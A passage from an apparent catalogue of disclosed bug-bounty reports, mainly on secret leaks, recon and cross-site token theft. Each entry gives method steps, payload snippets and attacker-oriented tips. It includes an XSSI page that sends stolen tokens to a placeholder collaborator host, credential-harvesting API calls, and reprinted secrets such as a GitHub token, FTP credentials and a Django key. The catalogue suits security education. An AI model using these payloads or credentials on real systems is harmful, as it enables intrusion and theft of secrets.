- On instances A and B enable: restrict sharing to same group, restrict autocompletion to same group, auto-add federated servers.
- Establish federation (a user on A shares to a user on B).
- On B create a fresh group with a single new user N.
- Log in as N and open the contacts menu (not the app): all of A's contacts are listed despite the group restriction.
Insight — Access-control settings are often enforced on the primary code path but forgotten on secondary/federation/import surfaces. When a product exposes 'restrict to group' toggles, test them specifically through federated, cached, or aggregated views - the restriction frequently does not propagate there.
Real-world example
Local file read via FFmpeg HLS/AVI processing
◆ Info
Specimen #226756 · vk · 1000 · 77 votes · resolved
Program vkSurface webChain file-read -> SSRF on internal transcoding nodesTag file-upload
Root cause
Server-side media pipelines invoke FFmpeg, which follows external references in HLS playlists; a crafted AVI with GAB2 subtitle chunks triggers HLS handling and the XBIN codec renders arbitrary local file contents into the output video.
Method
- Identify a feature that transcodes/generates previews from uploaded video (FFmpeg backend)
- Upload a crafted AVI containing GAB2 subtitle chunks referencing an HLS playlist pointing at local files (e.g. /etc/passwd)
- Download the generated preview/output; the file contents are rendered into the frames (XBIN codec)
# crafted AVI (GAB2 subtitle chunk) -> HLS playlist referencing:
# file:///etc/passwd (rendered back via XBIN codec into the output video)
Insight — Any upload that gets transcoded is an FFmpeg attack surface: test HLS/AVI/concat tricks for local file read and SSRF. The output frames themselves become the exfil channel. (PHDays 2017 research.)
Real-world example
CI token in public repo pivots to secrets via API
◆ Info
Specimen #858915 · shopify · awarded · 74 votes · resolved
Program shopifySurface apiChain repo-leaked CI token -> CircleCI API -> project env seTag supply-chain
Root cause
A CircleCI API token hardcoded in a public GitHub repo authenticates against the CircleCI API, exposing project build info, environment-variable secrets (e.g. flowdock_api_token), SSH checkout keys, and build artifacts.
Method
- Grep public repos for provider tokens (CircleCI/Travis/etc.)
- Validate: curl .../api/v1.1/me?circle-token=<t>
- Enumerate projects, then read env vars, checkout-key, and /artifacts to pull further secrets
curl https://circleci.com/api/v1.1/me?circle-token=<TOKEN>
curl -H 'Circle-Token: <TOKEN>' https://circleci.com/api/v1.1/project/github/<org>/<repo>/1200/artifacts
curl https://circleci.com/api/v1.1/project/github/<org>/<repo>/checkout-key?circle-token=<TOKEN>
Insight — A single leaked CI token is a pivot, not an endpoint: chain the provider API (me -> projects -> envvars -> checkout-key -> artifacts) to harvest downstream secrets and SSH keys. Always validate scope and walk the API graph.
Real-world example
Hardcoded GitHub creds + API keys shipped inside an iOS app bundle
◆ Info
Specimen #124100 · shopify · 1500 · 66 votes · resolved
Program shopifySurface mobile-iosChain leaked git token -> private source repo accessTag supply-chain
Root cause
Build artifacts (a Podfile using a git URL with embedded credentials, plus plist config) are shipped inside the distributed app, exposing a GitHub username:token that grants access to private source repos.
Method
- Download the IPA from the App Store / device
- Unzip the bundle and inspect Podfile, Info.plist, and embedded config for secrets
- Extract the git credential URL (user:token@github.com/Org/private-repo)
- Also collect service keys (Branch, Facebook, Mixpanel, HockeyApp, Intercom, GA)
pod "SHPShareKit", git: "https://shopify-dep:1910c92631a81a4c41dafbf96d537e3f24506b11@github.com/Shopify/ios-share-kit"
Insight — App bundles routinely ship build files (Podfile, Cartfile, .plist, strings) with live secrets. For any mobile target, pull the IPA/APK and grep for git URLs with credentials, api_key, token, secret - a private-repo token is an instant source-code compromise.
Real-world example
Harvest live API keys from archived URLs with gau
◆ Info
Specimen #3098717 · wakatime · none · 65 votes · resolved
Program wakatimeSurface web
Root cause
A secret (API key) was once passed in a URL and got captured by archives; pulling historical URLs surfaces the still-valid key.
Method
- Run gau/waybackurls/gauplus over the target domain
- Grep results for api_key=, token=, key=, waka_, secret=
- Replay a candidate against a 401-gated endpoint to confirm it authenticates
gau target.com | grep -Ei 'api_key=|token=|key=|secret=|waka_'
# confirm: curl -H 'Authorization: Basic <base64(key)>' https://target/api/... (200 vs 401)
Insight — Secrets in query strings live forever in Wayback/CommonCrawl. Always sweep archived URLs for credential-looking parameters and replay them against auth-gated endpoints.
Real-world example
Harvest secret tokenized URLs from public scanners (VirusTotal/urlscan)
◆ Info
Specimen #378122 · security · awarded · 60 votes · resolved
Program securitySurface webChain leaked invitation_token URL -> accept invite -> manage
Root cause
A user submitted a sensitive URL containing a report invitation_token to VirusTotal; the scanner publishes submitted URLs, so anyone browsing VT for the target domain finds the token and can accept the invite to manage the private report.
Method
- Browse VirusTotal / urlscan.io for the target domain's submitted URLs
- Extract URLs carrying tokens (invitation_token, reset, signature)
- Visit the tokenized URL to gain the granted access (e.g. accept report-management invite)
https://www.virustotal.com/#/domain/TARGET
# -> discloses e.g. https://hackerone.com/reports/334677?invitation_token=<TOKEN>
Insight — Public URL scanners (VirusTotal, urlscan.io, Any.Run) are searchable leaks of secret links people paste for 'safety'. Search them by target domain for URLs with tokens/signatures/reset params - a one-click privilege grant is common.
Real-world example
Live secrets baked into published Docker Hub images
◆ Info
Specimen #2412983 · mozilla · awarded · 51 votes · resolved
Program mozillaSurface cloudTag cloud-aws
Root cause
Container images published to a public registry ship application source (node_modules, test files) that still contain hardcoded, live API tokens.
Method
- Enumerate the org's public Docker Hub repos and tags
- Pull several image tags and unpack the filesystem
- Grep the source tree (especially node_modules, test.js, .env) for tokens/keys
- Validate the token against the vendor API to confirm it is live
docker pull taskcluster/taskcluster:v15.0.0-20-g0eca18b7c
# token lives in /app/node_modules/sentry-api/test.js
curl -X GET -H "Authorization: Bearer TOKEN" https://sentry.io/api/0/projects/
Insight — Public container images are a distinct secret-leak surface from source repos: unpack every tag and grep the layers; test files and vendored deps are common hiding spots. Always confirm the token is live against the provider API.
Real-world example
CSRF token leak via URL -> Google Analytics
◆ Info
Specimen #196458 · shopify · awarded · 48 votes · resolved
Program shopifySurface web
Root cause
After login the app redirects to a URL containing the user's authenticity_token; a page under attacker's app records that full URL in the attacker's Google Analytics real-time report, disclosing the token.
Method
- Attacker adds their GA tracking code to a page they control on the target
- Open a window to that page; victim logs in and is redirected to ...?authenticity_token=<victim token>
- Read the leaked token from attacker's GA Real-Time view
- Reuse the token to forge state-changing requests as the victim
https://apps.shopify.com/[attacker-app]?authenticity_token=[VICTIM_TOKEN]&utf8=%E2%9C%93
Insight — Secrets in URLs leak everywhere: Referer, analytics, logs, browser history. If a CSRF token ever appears in a query string on a page carrying third-party JS/analytics, it is stealable.
Real-world example
SharePoint RootFolder directory listing enumeration
◆ Info
Specimen #2190117 · tennessee-valley-authority · none · 42 votes · resolved
Program tennessee-valley-authoritySurface web
Root cause
A SharePoint site exposes the Forms/AllItems.aspx view with a controllable RootFolder parameter, allowing an unauthenticated visitor to walk the document library and list otherwise-hidden files, users, and version history.
Method
- Confirm the site is SharePoint (page source references /SiteAssets/, .aspx).
- Take a known asset path (e.g. /SiteAssets/Scripts/js.cookie.min.js) and strip the filename to reach the folder.
- Navigate to /SiteAssets/Forms/AllItems.aspx?RootFolder= to list the root, then walk subfolders via RootFolder=.
https://TARGET/SiteAssets/Forms/AllItems.aspx?RootFolder=/SiteAssets/Scripts
https://TARGET/SiteAssets/Forms/AllItems.aspx?RootFolder=
Insight — On SharePoint targets, the AllItems.aspx?RootFolder= view is a built-in directory-listing primitive; enumerate document libraries and version history for sensitive files, and check cross-tenant access.
Real-world example
Wayback CDX API harvest of historical config/keys
◆ Info
Specimen #2380084 · mozilla · none · 41 votes · resolved
Program mozillaSurface web
Root cause
The Internet Archive CDX API enumerates every historical URL captured for a host; snapshots of a client config JSON persist third-party identifiers (paypal client_id, stripe publishable key, sentry DSN) even after the site changes.
Method
- Query the CDX API for all captured URLs of the target host.
- Look for config/blob URLs (URL-encoded JSON, /config, /env, bootstrap payloads).
- URL-decode and beautify to extract embedded identifiers/keys and pivot to other services.
https://web.archive.org/cdx/search/cdx?url=TARGET.com/*&collapse=urlkey&output=text&fl=original
Insight — The Wayback CDX endpoint is a fast passive-recon primitive: enumerate historical URLs to recover config blobs, old endpoints, and leaked identifiers that are gone from the live site. Triage findings by key type (publishable stripe pk_live / paypal client_id are low-impact; secret keys, sentry auth tokens, session data are not).
Real-world example
Verbose DB error via oversized input leaks query + tokens
◆ Info
Specimen #1067824 · nextcloud · none · 29 votes · resolved
Program nextcloudSurface web
Root cause
Unvalidated user input exceeding a DB column length triggers an unhandled SQL exception rendered to the client, disclosing the full parameterized INSERT statement, table/column names, and bound values including internal tokens.
Method
- Find a field written to the DB (here: guest display name on a share)
- Submit an over-length value to overflow the column
- Read the leaked 'String data, right truncated' exception containing the query and bound params (tokens, host, share id)
guest_displayname = "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa"
# response leaks:
An exception occurred while executing 'INSERT INTO oc_richdocuments_wopi(... token ...) VALUES(?,...)' with params [..., "<WOPI token>", ...]: SQLSTATE[22001] Data too long for column 'guest_displayname'
Insight — Oversized/type-mismatched input on any DB-backed field is a cheap way to surface stack traces. The leaked bound parameters often include secrets (session/WOPI/CSRF tokens) that the normal response never exposes.
Real-world example
Secrets (.env / JWT_SECRET) in public GitHub repo tied to target
◆ Info
Specimen #1298809 · shopify · awarded · 29 votes · resolved
Program shopifySurface webTag supply-chain
Root cause
A developer's public GitHub repo (a browser extension referencing the target's Zendesk subdomain) committed a .env file exposing SENDGRID/JWT/COOKIE/CRYPTO secrets and a proprietary ZRT_API_KEY.
Method
- Dork GitHub for the target's subdomains/hostnames in code (matches, manifest.json, fetch URLs)
- Enumerate the author's other repos and commit history for .env, config, secret files
- Extract and validate leaked secrets (API keys, JWT signing secrets)
# GitHub code search:
"shopify.zendesk.com" filename:manifest.json
# then in same author's repo: .env
JWT_SECRET=... ZRT_API_KEY=... SENDGRID_API_KEY=... COOKIE_SECRET=...
Insight — Pivot from a hostname match to the whole developer/repo: the interesting secrets are usually in a sibling file (.env, config) or an old commit, not the file that first matched. Enumerate author repos and git history.
Real-world example
.DS_Store directory enumeration
◆ Info
Specimen #142549 · x · 560 · 27 votes · resolved
Program xSurface webTag file-upload
Root cause
macOS .DS_Store files left on web roots store the folder's file listing; parsing them reveals hidden filenames (packages, scripts, certs, license keys) not otherwise linkable.
Method
- Request /.DS_Store on directories
- Parse with a DS_Store parser (e.g. ds_store / fdb)
- Recurse into discovered subdirectories and pull sensitive files
curl https://TARGET/.DS_Store -o DS_Store
python -c "from ds_store import DSStore\n[print(e.filename) for e in DSStore.open('DS_Store')]"
Insight — Always probe /.DS_Store (and .git/, .svn/) on any host; the file listing bootstraps discovery of unlinked sensitive files.
Real-world example
UI-hidden data still present in the .json API variant
◆ Info
Specimen #318399 · security · 250 · 27 votes · resolved
Program securitySurface apiTag api
Root cause
Values the front-end suppresses (a program that disabled 'response efficiency') are still serialized in the underlying JSON endpoint because the toggle only affected rendering, not the API.
Method
- Find a page that hides a field per settings
- Append .json (or hit the backing API) for the same resource
- Read the field that was blanked in the UI
GET https://hackerone.com/deptofdefense/profile_metrics.json
-> {"mean_time_to_triage":1173600,...}
Insight — Whenever the UI hides/greys out data, request the raw JSON/API variant of the same route; visibility toggles are frequently client-side only.
Real-world example
GCS bucket object listing exposed through a CDN proxy path
◆ Info
Specimen #1102546 · shopify · awarded · 25 votes · resolved
Program shopifySurface cloudTag cloud-gcp
Root cause
The direct GCS URL (storage.googleapis.com/<bucket>/) denies anonymous listing, but a CDN vhost path (cdn.shopify.com/shop-assets/) fronting the same bucket returns a full object listing, bypassing the bucket ACL.
Method
- Identify a CDN path that proxies to a cloud storage backend
- Request the CDN listing path (e.g. /shop-assets/)
- Compare with the direct storage URL, which returns access-denied on list
- Enumerate objects via the CDN path
https://cdn.shopify.com/shop-assets/ -> lists objects of storage.googleapis.com/arrive-assets-storage-production/ (direct URL denies list)
Insight — Even when a bucket denies anonymous listing directly, a CDN/reverse-proxy vhost in front of it may expose listing or otherwise ignore the backend ACL. Always test proxy paths that map to storage backends, not just the raw storage URL.
Real-world example
Deanonymize undisclosed bounty amounts via aggregate-counter polling
◆ Info
Specimen #148050 · security · awarded · 23 votes · resolved
Program securitySurface webTag account-takeover
Root cause
A public aggregate statistic (total bounty paid) updates in near-real-time; polling it and diffing before/after a known payout reveals the individual value the program intended to keep private.
Method
- Identify a public running total (e.g. total bounty paid) tied to a program
- Poll it every few seconds and log each value
- When the total increases, new_total - old_total = the individual undisclosed amount
- Correlate timing with the report/researcher just paid
# poll loop (conceptual)
while true; do curl -s https://target/program/stats | grep total_paid >> log.txt; sleep 5; done
# diff consecutive values to recover per-payout amounts
Insight — Any monotonic public counter (paid totals, signup counts, invoice numbers) is a side channel. Sample at high frequency and diff to recover individual private events. Fixes: batch/delay updates or add noise.
Real-world example
Hardcoded secrets in public GitHub repos (Django SECRET_KEY, API keys)
◆ Info
Specimen #942146 · weblate · none · 22 votes · resolved
Program weblateSurface webChain leaked Django SECRET_KEY -> forge signed session/reset toTag account-takeover
Root cause
Secrets are committed as default fallbacks / hardcoded values in public source (e.g. a default Django SECRET_KEY in settings_docker.py, third-party API keys in manifests), letting anyone recover them from GitHub search or history.
Method
- Search GitHub (code + commit history) for the org and secret patterns
- Locate hardcoded SECRET_KEY / API keys, including default fallbacks in os.environ.get(name, DEFAULT)
- Assess reach: Django SECRET_KEY enables session cookie/token forgery; API keys enable service abuse
# GitHub dorks
org:TARGET SECRET_KEY
org:TARGET filename:settings.py SECRET_KEY
org:TARGET "api_key" OR "apikey" OR "sdk key"
# example leak:
SECRET_KEY = os.environ.get("WEBLATE_SECRET_KEY", "jm8fqjlg+5!#xu%e-oh#7!$aa7!6avf7ud*_v=chdrb9qdco6(")
Insight — Grep public repos and full commit history for secrets, and specifically for insecure default fallbacks in getenv() calls (deployments that don't set the env var run on the leaked default). A leaked framework signing key (Django SECRET_KEY, Flask/Rails secret) escalates from info-leak to session/token forgery.
Real-world example
Valid SSO usernames leaked via search-engine indexing of internal gateway
◆ Info
Specimen #161659 · airbnb · none · 21 votes · resolved
Program airbnbSurface webTag account-takeover
Root cause
An internal SSO/people gateway with a predictable URL structure (/people/<login>) and no robots.txt gets crawled/indexed by Google (via Chrome/Toolbar telemetry even for internal hosts), exposing the full set of valid corporate login names.
Method
- Identify an SSO/corporate gateway host that maps usernames into URLs (e.g. /people/<login>, /u/<login>)
- Run a search-engine dork to enumerate indexed usernames
site:sso.TARGET.com inurl:/people/
Insight — Valid usernames = free ammunition for password spraying and social engineering. Always run site:/inurl: dorks against auth, SSO, HR and 'people directory' hosts; missing robots.txt + username-in-URL leaks the whole employee list.
Real-world example
OAuth access token exposed via JSONP endpoint -> XSSI theft
◆ Info
Specimen #138270 · other · none · 21 votes · resolved
Program otherSurface webChain design flaw (token reflected) + XSSI (jsonp callback) -> Tag oauthTag cors
Root cause
A relay endpoint reflects the user's third-party OAuth access token in a JSONP response controlled by a callback parameter; because the callback wraps the sensitive JSON in a script-executable function call, any site can include it via <script src> and steal the token cross-origin (XSSI).
Method
- Find an endpoint that returns sensitive JSON and honors a ?callback= parameter (JSONP)
- Confirm it wraps the data as callback({...}) with script content-type
- Host an attacker page that defines the callback and <script src>-includes the endpoint
- Read the leaked access_token/email in the callback
<script>function leak(s){ new Image().src='//COLLAB/?d='+btoa(JSON.stringify(s)); }</script>
<script src="https://TARGET/php/instagram_tag_relay?callback=leak"></script>
Insight — Two lessons: (1) never reflect server-obtained OAuth tokens back to the client; (2) any endpoint with a callback/jsonp parameter that returns per-user data is XSSI-exploitable across origins. Grep JS for '?callback=' and dynamic <script src> to sensitive APIs.
Real-world example
Misconfigured server returns raw PHP source instead of executing it
◆ Info
Specimen #194351 · yelp · awarded · 21 votes · resolved
Program yelpSurface webChain source disclosure -> config/credential leak
Root cause
The web server serves .php files as static downloads (PHP handler not mapped for that path/dir), so requesting core files returns source code containing DB credentials and configuration.
Method
- Request known framework source files directly (e.g. WordPress wp-includes/wp-db.php)
- If the file downloads as text instead of executing, harvest source/credentials
- Pull config files (wp-config.php, .env-style includes) to escalate
GET /wp-includes/wp-db.php HTTP/1.1
Host: TARGET
# downloads raw PHP source instead of a 200 empty page
Insight — On any PHP/JSP/ASPX target, request known engine files directly; a source download means the interpreter isn't wired for that path -> chase config files with secrets. Great low-effort recon on CMS blog subdomains.
Real-world example
Exposed JetBrains .idea project directory
◆ Info
Specimen #80990 · ui · awarded · 20 votes · resolved
Program uiSurface web
Root cause
The IDE project folder .idea/ was deployed to production and served, exposing workspace.xml, module config, and potentially dataSources.ids with DB connection strings/credentials.
Method
- Request /.idea/workspace.xml on the target
- If 200 with <project version=...>, enumerate other .idea files
- Check dataSources.ids / dataSources.xml for datasource creds
GET /.idea/workspace.xml HTTP/1.1
Insight — Add IDE/VCS artifacts to recon wordlists: /.idea/, /.git/, /.vscode/, .env, *.bak. .idea can leak module layout and database credentials; grep the XML for connection strings.
Real-world example
Integration error message reflects the entered API token to lower-priv users
◆ Info
Specimen #335123 · security · awarded · 20 votes · resolved
Program securitySurface webTag account-takeover
Root cause
When a Phabricator API token is entered incorrectly, the error popup echoes the entered token back; team members with limited permissions (who normally can't see stored integration secrets) can read it, and mistyped values often overlap real tokens.
Method
- Set up the integration with an API token
- Trigger the action that validates the token (escalate report -> Create task) with an invalid/mistyped token
- Read the error message, which contains the entered token verbatim
# invalid-token / invalid-length error popup renders the entered token string in cleartext
Insight — Error and validation messages are a classic secret sink - test whether integration/config screens reflect the value you typed (API tokens, passwords, keys) back in errors, and whether lower-priv roles can trigger and read them. Validate token format at save time to avoid the reflection.
Real-world example
Auxiliary sales-channel endpoint bypasses store password protection
◆ Info
Specimen #1584718 · shopify · USD 500 · 20 votes · resolved
Program shopifySurface web
Root cause
A secondary/embedded app host (google-shopping.shopifycloud.com) serves store data without enforcing the primary store's password protection, leaking owner email and channel id.
Method
- Install Google sales channel and enable store password protection
- Request the channel's product endpoint with shop + product id
- Read data-channel-id and data-user-email from the response
GET https://google-shopping.shopifycloud.com/shopify/products?shop=TARGET.myshopify.com&id=PRODUCT_ID&locale=en
-> data-channel-id="..." data-user-email="VICTIM@gmail.com"
Insight — Access controls on the main app rarely propagate to sibling app/CDN hosts. Enumerate every subdomain/channel host that renders tenant data and re-test it against private/protected resources.
Real-world example
Secret still shipped in HTML source comments after 'fix'
◆ Info
Specimen #1691888 · mtn_group · none · 20 votes · resolved
Program mtn_groupSurface web
Root cause
A remediation that merely comments out Firebase init code still delivers the config (API key/project) to every client in the HTML source.
Method
- View-source of the page
- Search for 'Initialize Firebase' / commented config blocks
- Extract Firebase credentials from the comment
view-source:https://TARGET/ -> <!-- // Initialize Firebase; firebaseConfig = { apiKey: ... } -->
Insight — Commenting out client code does not remove it from the wire. Re-test previously-fixed leaks and grep source/comments for keys; incomplete fixes are a reliable source of dupes-turned-valid.
Real-world example
Private-program/tenant existence oracle via differential HTTP status
◆ Info
Specimen #105887 · security · awarded · 18 votes · resolved
Program securitySurface web
Root cause
An endpoint returns distinguishable status codes/bodies for existing-but-restricted vs non-existent resources, turning it into an existence oracle for otherwise-hidden objects.
Method
- Guess the resource/tenant slug (companies reuse their brand name)
- Request a JSON/detail endpoint scoped to that slug
- Compare responses: existing-private returns 401/500/blank, non-existent returns 404
GET https://hackerone.com/<guessed-team>/thanks.json
# invite-only team -> 401 {"error":"You need to sign in..."}
# sandboxed/private team -> 500 blank page
# nonexistent user/team -> 404
Insight — When probing for hidden objects, don't require full disclosure: enumerate a low-value sibling endpoint and use status-code/body deltas as a boolean existence oracle. Fix requires identical responses for exists-restricted and not-found.
Real-world example
Private media metadata leak via embed/player endpoint
◆ Info
Specimen #136850 · vimeo · awarded · 17 votes · resolved
Program vimeoSurface web
Root cause
The unauthenticated player/embed page for a private-but-embeddable video ships thumbnail-sprite, subtitle track, and cover-image URLs in its source, leaking video content to anyone; response also varies by User-Agent.
Method
- Request the player/embed URL for a private-but-embeddable video ID
- Parse the HTML/JSON for thumb_preview sprite URL and text_tracks subtitle URLs
- Re-request without a User-Agent header to obtain the HD cover image; strip the size suffix for full resolution
GET https://player.vimeo.com/video/[VIDEO_ID]
# leaks: "thumb_preview":{"url":"https://i.vimeocdn.com/.../sprite/165611985/120..."}
# leaks: text_tracks[].url /texttrack/4448008.vtt?token=...
# no User-Agent -> background:url('https://i.vimeocdn.com/video/569517416_640.jpg') (strip _640 for HD)
Insight — Embed/player endpoints frequently over-share media derivatives (sprites, captions, posters) without re-checking the parent object's ACL. Reassemble the sprite+captions to reconstruct private video content; try UA-less requests for alternate responses.
Real-world example
Internal hostnames leaked in bundled front-end JS
◆ Info
Specimen #283361 · security · none · 17 votes · resolved
Program securitySurface webChain JS recon -> internal service enumeration -> basic-auth
Root cause
A JavaScript bundle served to authenticated users hardcodes links to internal/staging/admin services (payments admin, mailcatcher, staging, API docs), mapping the internal attack surface.
Method
- Log in and capture the app's downloaded JS bundles (hashed filenames)
- Grep the bundle for URLs/hostnames
- Catalog internal services (admin, staging, mailcatcher, storybook, etc.) for further testing
# in browser, note hashed bundle e.g. <hash>.js on /bugs page
# grep bundle contents for internal hosts: payments-admin, mailcatcher, staging, api-docs, storybook, karma
Insight — Always download and grep front-end JS bundles for internal hostnames, feature flags, and endpoints. Staging forks of prod data behind weak/basic-auth are prime follow-up targets.
Real-world example
Hardcoded credentials in Windows registry (RegShot diff)
◆ Info
Specimen #291200 · kaspersky · none · 17 votes · resolved
Program kasperskySurface desktop
Root cause
A desktop installer writes plaintext service credentials (FTP user/password) into HKLM registry keys, readable by local users.
Method
- RegShot snapshot before install, install the app, snapshot after, diff
- Search the diff for User/Password/FTP-style keys
- Validate the leaked creds against the referenced service
HKLM\SOFTWARE\Wow6432Node\KasperskyLab\AVP17.0.0\environment\dump\User: "kavdumps"
HKLM\...\dump\Password: "UxzAbKFLufVBSg8Y"
HKLM\...\dump\FTP: "kavdumps.kaspersky.com"
ftp://kavdumps.kaspersky.com (login with above)
Insight — For thick-client/desktop targets, RegShot (or Procmon) before/after install to surface hardcoded creds, tokens, and service endpoints written to the registry. Then validate them live.
Real-world example
Android: intercepting global (sticky) broadcasts to leak file/account info
◆ Info
Specimen #167481 · nextcloud · none · 16 votes · resolved
Program nextcloudSurface mobile-androidChain exported IPC leak -> access-token theft -> account takTag account-takeover
Root cause
The app broadcasts sensitive events (upload start/finish, account, file info) with Context.sendStickyBroadcast / sendBroadcast instead of LocalBroadcastManager, so any co-installed app can register a receiver and read them.
Method
- Decompile the target APK and grep for sendBroadcast / sendStickyBroadcast / registerReceiver with custom action strings.
- In a malicious app, declare an exported receiver with an intent-filter for those actions at high priority.
- Receive the broadcasts (before the app's own receivers) and read account/file metadata from the Intent extras.
<receiver android:exported="true" android:enabled="true" android:name=".InterceptReceiver">
<intent-filter android:priority="999">
<action android:name="FileUploader.UPLOAD_START"/>
<action android:name="FileUploader.UPLOAD_FINISH"/>
<action android:name="FileUploader.UPLOADS_ADDED"/>
</intent-filter>
</receiver>
Insight — On Android, any use of a global broadcast for internal events is an IPC information leak: register a high-priority receiver for the app's custom action strings. The fix (and the tell) is LocalBroadcastManager. Also audit exported services/AIDL bound interfaces - binding an exported RemoteService can leak the user's access token and enable account takeover (seen in #384257).
Real-world example
XSSI: cross-site theft of JSON auth tokens via JSON.parse
◆ Info
Specimen #118631 · coinbase · awarded · 15 votes · resolved
Program coinbaseSurface webTag cors
Root cause
An authenticated endpoint returns a bare JSON body (a Pusher auth token) with no anti-XSSI prefix, so an attacker page can POST to it and read/parse the response cross-site; the required channel_name secret never rotates.
Method
- Obtain the victim's channel_name once (leaks it elsewhere).
- Auto-submit a cross-site POST form to /pusher/auth with socket_id and channel_name.
- Read the JSON auth-token response cross-origin (bare JSON is parseable/observable), reuse it repeatedly since it never expires.
<form action="https://www.coinbase.com/pusher/auth?callback=tothis" method="POST">
<input type="hidden" name="socket_id" value="1.266427">
<input type="hidden" name="channel_name" value="private-<CHANNEL>">
<input type="submit">
</form>
Insight — Any endpoint that returns a bare JSON object/array with sensitive data and no XSSI guard (while(1);, )]}', or //) is a cross-site read target. Test JSON responses for reflection into a cross-origin JSON.parse, and check whether the required secret ever rotates.
Real-world example
Support-chat API discloses staff member name and ID
◆ Info
Specimen #968174 · shopify · $500 · 15 votes · resolved
Program shopifySurface api
Root cause
The storefront chat message API returns the internal staff/agent's name and ID in the conversation response served to the customer, exposing employee identity that should not leave the backend.
Method
- Install/enable the merchant chat app and start a conversation with store support.
- Intercept the conversation/message responses; the staff member's name and ID are present.
- (Vendor ruled the message-spoofing angle working-as-intended, but confirmed staff-name disclosure as a valid info leak.)
POST /api/storefront/conversations/<conv_id>/messages HTTP/1.1
Host: shopify-chat.shopifycloud.com
Content-Type: application/json
{"message":{"dedupe_key":"<uuid>","content":{"text":"..."},"automated":true,"group":"team"}}
Insight — Chat/support and comment APIs routinely over-return the agent-side object (real name, internal user id, email) to the customer channel. Inspect every support-conversation response for staff identity fields.
Real-world example
CDN subdomain backed by public/listable S3 bucket
◆ Info
Specimen #1474017 · omise · 100 · 14 votes · resolved
Program omiseSurface cloudTag cloud-aws
Root cause
A CDN hostname is served from an S3 bucket whose ACL/policy permits anonymous ListBucket and GetObject, so anyone can enumerate and download every object; the exposed bucket name also invites re-registration/takeover if ever deleted.
Method
- Identify the CDN host and resolve it to an S3 bucket (name visible in XML listing or error)
- Request the bucket root to trigger a ListBucket XML response
- Enumerate and download objects; note bucket name for takeover assessment
curl -s https://cdn.TARGET/ # returns S3 ListBucketResult XML if public
aws s3 ls s3://BUCKET-NAME --no-sign-request
aws s3 sync s3://BUCKET-NAME . --no-sign-request
Insight — For every CDN/static subdomain, request the root and try --no-sign-request listing; public ListBucket exposes all objects, and a guessable/leaked bucket name is a takeover primitive. (Do NOT actually delete a live bucket.)
Real-world example
OAuth code leaked to Android logcat + hardcoded client secret
◆ Info
Specimen #5314 · coinbase · awarded · 14 votes · resolved
Program coinbaseSurface mobile-androidChain logcat OAuth code + hardcoded client_secret -> access_tokTag oauthTag account-takeover
Root cause
The app writes the OAuth authorization response code to logcat; on older Android any co-installed app with READ_LOGS could read it, and because the client secret is hardcoded in the APK, the stolen code can be exchanged for a full access_token.
Method
- Attach adb/logcat (or a malicious co-installed app) while the app performs OAuth login
- Capture the logged OAuth response code
- Decompile the APK to recover the hardcoded client_secret
- Exchange code+secret at the token endpoint for access_token
adb logcat -s Coinbase # observe leaked OAuth response code
# then: POST /oauth/token grant_type=authorization_code code=<leaked> client_secret=<hardcoded>
Insight — On Android, grep logcat and app logs during auth flows for tokens/codes, and always decompile the APK for hardcoded client secrets - a logged OAuth code plus an embedded secret is a full account-takeover chain.
Real-world example
s3cmd x-amz-meta-s3cmd-attrs leaks uploader identity/paths
◆ Info
Specimen #173175 · security · none · 14 votes · resolved
Program securitySurface cloudTag cloud-aws
Root cause
Files synced to S3 with s3cmd store local filesystem metadata (uid, uname, gid, mode, mtime, md5) in the x-amz-meta-s3cmd-attrs response header; serving those objects publicly leaks the uploader's OS username, uid and local path details.
Method
- Identify content served from S3 (or an S3-backed subdomain)
- GET the object and inspect response headers
- Read x-amz-meta-s3cmd-attrs for uid/uname/gid/mtime/md5
curl -sI https://S3-BACKED-HOST/asset | grep -i x-amz-meta-s3cmd-attrs
# => uid:501/gname:staff/uname:martijn/gid:20/mode:33188/mtime:.../md5:...
Insight — Always dump response headers of S3-served assets: x-amz-meta-* headers (especially s3cmd-attrs) leak internal usernames, uids and local paths. Fix side: s3cmd --no-preserve strips them.
Real-world example
Secret token committed to public CI config (.travis.yml)
◆ Info
Specimen #386614 · rocket_chat · none · 14 votes · resolved
Program rocket_chatSurface webTag supply-chain
Root cause
A Slack token was committed in plaintext (unencrypted) to a public GitHub repo's .travis.yml; CI config files routinely carry deploy/notification secrets that should be encrypted or stored as protected env vars.
Method
- Enumerate the org's public repos
- Grep CI/config files (.travis.yml, .github/workflows, .circleci, .gitlab-ci.yml) and git history for tokens/keys
- Validate the token against its API
# find secrets across an org's public repos and history
trufflehog github --org ORG
git log -p -- .travis.yml | grep -iE 'token|secret|api[_-]?key'
Insight — Audit CI configs and their full git history for plaintext secrets - .travis.yml/GitHub Actions/CircleCI files should use encrypted values; unencrypted Slack/API tokens there are live credentials even after the working tree is 'cleaned'.
Real-world example
Invite/promo-code enumeration via differential response
◆ Info
Specimen #125200 · uber · USD 3000 · 13 votes · resolved
Program uberSurface web
Root cause
A short, low-entropy invite-code space (36^5) is served on an unauthenticated, un-rate-limited endpoint whose response differs for valid vs invalid codes, and valid responses leak the account owner's first name.
Method
- Identify the two distinct responses for valid vs invalid code
- Enumerate the keyspace (or a random sample) hitting the endpoint
- Count valid hits and extrapolate to estimate population; scrape leaked first names
GET https://get.uber.com/invite/<code>
# valid -> "Sign up now to claim your free gift from <FirstName>"
# invalid -> "Create your account and get moving in minutes."
for code in itertools.product('0123456789abcdefghijklmnopqrstuvwxyz', repeat=5): ...
Insight — Short alnum tokens (invite/promo/referral/coupon codes) on unauthenticated endpoints with a boolean tell are enumerable; you don't need the full space, sample and extrapolate. Leaked names/emails in the 'valid' branch upgrade a counting bug to a PII harvest.
Real-world example
Compiled CSS leaks SCSS source paths (debug info)
◆ Info
Specimen #2221 · security · awarded · 13 votes · resolved
Program securitySurface web
Root cause
CSS is compiled from SCSS with source-debug comments (or sourcemaps) enabled in production, embedding absolute filesystem paths and source filenames in the shipped stylesheet.
Method
- Download the referenced compiled CSS
- Grep for scss/source path markers to recover the internal directory structure and tooling
curl -s https://TARGET/application-<hash>.css | grep -oP "file.:.*?scss" | sort -u
Insight — Static assets leak build metadata: grep compiled CSS/JS for 'scss', 'sourceMappingURL', absolute paths (/home/, /var/www/, C:\\), and internal hostnames. Also fetch .css.map/.js.map to reconstruct source tree and comments.
Real-world example
CSP report-uri as a cross-origin state oracle (XS-Leak)
◆ Info
Specimen #16910 · ibb · none · 13 votes · resolved
Program ibbSurface webTag cors
